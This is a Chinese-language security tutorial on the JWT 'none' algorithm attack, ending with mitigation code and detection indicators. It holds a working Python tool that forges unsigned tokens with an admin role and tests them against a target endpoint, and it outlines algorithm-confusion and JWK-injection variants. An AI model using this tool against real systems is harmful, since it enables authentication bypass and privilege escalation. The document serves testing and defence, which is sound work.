执行 JWT None 算法攻击
概述
JWT None 算法攻击利用 JSON Web Token 库中的漏洞——这些库接受 alg 头部设置为 none 的令牌,从而有效地绕过签名验证。当服务器处理带有 "alg": "none" 的 JWT 时,它会在不检查任何密码学签名的情况下将该令牌视为有效,使攻击者能够伪造带有任意声明(Claims)的令牌,例如提升权限、冒充用户或延长过期时间。该漏洞于 2015 年由 Tim McLean 首次披露,已影响多种语言的多个 JWT 库。
前置条件
- 使用 JWT 进行认证或授权的目标应用
- 能够拦截和修改 HTTP 请求(Burp Suite、mitmproxy)
- Python 3.8+ 及 PyJWT 库,用于令牌构造
- 了解 JWT 结构(Header.Payload.Signature)
- 对目标执行安全测试的授权
JWT 结构
JWT 由三个以点分隔的 Base64URL 编码部分组成:
Header.Payload.Signature
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9. # 头部(Header)
eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4ifQ. # 载荷(Payload)
SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c # 签名(Signature)
攻击方法
步骤 1:捕获有效的 JWT
使用 Burp Suite 或浏览器开发者工具拦截目标应用的合法 JWT:
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
步骤 2:解码并分析令牌
import base64
import json
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwicm9sZSI6InVzZXIiLCJpYXQiOjE1MTYyMzkwMjJ9.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
parts = token.split('.')
# 解码头部
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
print(f"Header: {header}")
# 输出:{'alg': 'HS256', 'typ': 'JWT'}
# 解码载荷
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
print(f"Payload: {payload}")
# 输出:{'sub': '1234567890', 'name': 'John Doe', 'role': 'user', 'iat': 1516239022}
步骤 3:构造使用 None 算法的伪造令牌
#!/usr/bin/env python3
"""JWT None 算法攻击工具
通过将 alg 设置为 'none' 来构造 JWT 令牌,
测试签名验证绕过漏洞。
"""
import base64
import json
import requests
import sys
from typing import Optional
class JWTNoneAttack:
# 'none' 算法值的所有已知变体
NONE_VARIANTS = [
"none", "None", "NONE", "nOnE",
"noNe", "NoNe", "nONE", "nonE",
]
def __init__(self, target_url: str, original_token: str):
self.target_url = target_url
self.original_token = original_token
self.original_header, self.original_payload = self._decode_token(original_token)
def craft_none_token(self, modified_payload: dict,
alg_variant: str = "none") -> str:
"""使用 none 算法和修改后的载荷构造 JWT。"""
# 创建使用 none 算法的头部
header = {"alg": alg_variant, "typ": "JWT"}
header_encoded = self._base64url_encode(json.dumps(header).encode())
# 编码修改后的载荷
payload_encoded = self._base64url_encode(json.dumps(modified_payload).encode())
# 带空签名的令牌(仅有末尾的点)
return f"{header_encoded}.{payload_encoded}."
def test_none_variants(self, endpoint: str = "/api/profile",
headers: Optional[dict] = None) -> list:
"""对目标测试所有 none 算法变体。"""
results = []
base_headers = headers or {}
for variant in self.NONE_VARIANTS:
modified_payload = dict(self.original_payload)
modified_payload["role"] = "admin"
token = self.craft_none_token(modified_payload, variant)
test_headers = dict(base_headers)
test_headers["Authorization"] = f"Bearer {token}"
try:
response = requests.get(
f"{self.target_url}{endpoint}",
headers=test_headers,
timeout=10
)
result = {
"variant": variant,
"status_code": response.status_code,
"accepted": response.status_code == 200,
"response_length": len(response.content),
}
results.append(result)
if response.status_code == 200:
print(f" [VULNERABLE] alg='{variant}' -> {response.status_code}")
else:
print(f" [SAFE] alg='{variant}' -> {response.status_code}")
except requests.exceptions.RequestException as e:
results.append({
"variant": variant, "status_code": 0,
"accepted": False, "error": str(e)
})
return results
步骤 4:额外的 JWT 攻击变体
算法混淆攻击(RS256 转 HS256):
如果服务器使用 RS256(非对称算法),知道公钥的攻击者可以:
- 将
alg改为HS256 - 使用公钥作为 HMAC 密钥对令牌签名
- 服务器可能用其公钥作为 HMAC 密钥验证签名
JWK 头部注入(CVE-2018-0114):
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"n": "<攻击者控制的密钥>",
"e": "AQAB"
}
}
缓解策略
# 安全的 JWT 验证——始终指定允许的算法
import jwt
def verify_token_secure(token: str, secret_key: str) -> dict:
"""使用显式算法白名单验证 JWT。"""
try:
payload = jwt.decode(
token,
secret_key,
algorithms=["HS256"], # 关键:显式白名单
options={
"require": ["exp", "iat", "sub"], # 必需声明
"verify_exp": True,
"verify_iat": True,
}
)
return payload
except jwt.InvalidAlgorithmError:
raise ValueError("无效的令牌算法")
except jwt.ExpiredSignatureError:
raise ValueError("令牌已过期")
except jwt.InvalidTokenError:
raise ValueError("无效的令牌")
检测指标
- 服务器日志中带有
"alg": "none"(或大小写变体)的 JWT 令牌 - 签名段为空或缺失的令牌
- 算法字段相对正常模式的突然变化
- 同一会话中带有修改声明(角色提升)的令牌
- Authorization 头部包含只有两个 Base64 段的令牌
参考资料
- OWASP JWT 测试指南
- PortSwigger JWT None 算法
- HackTricks JWT 漏洞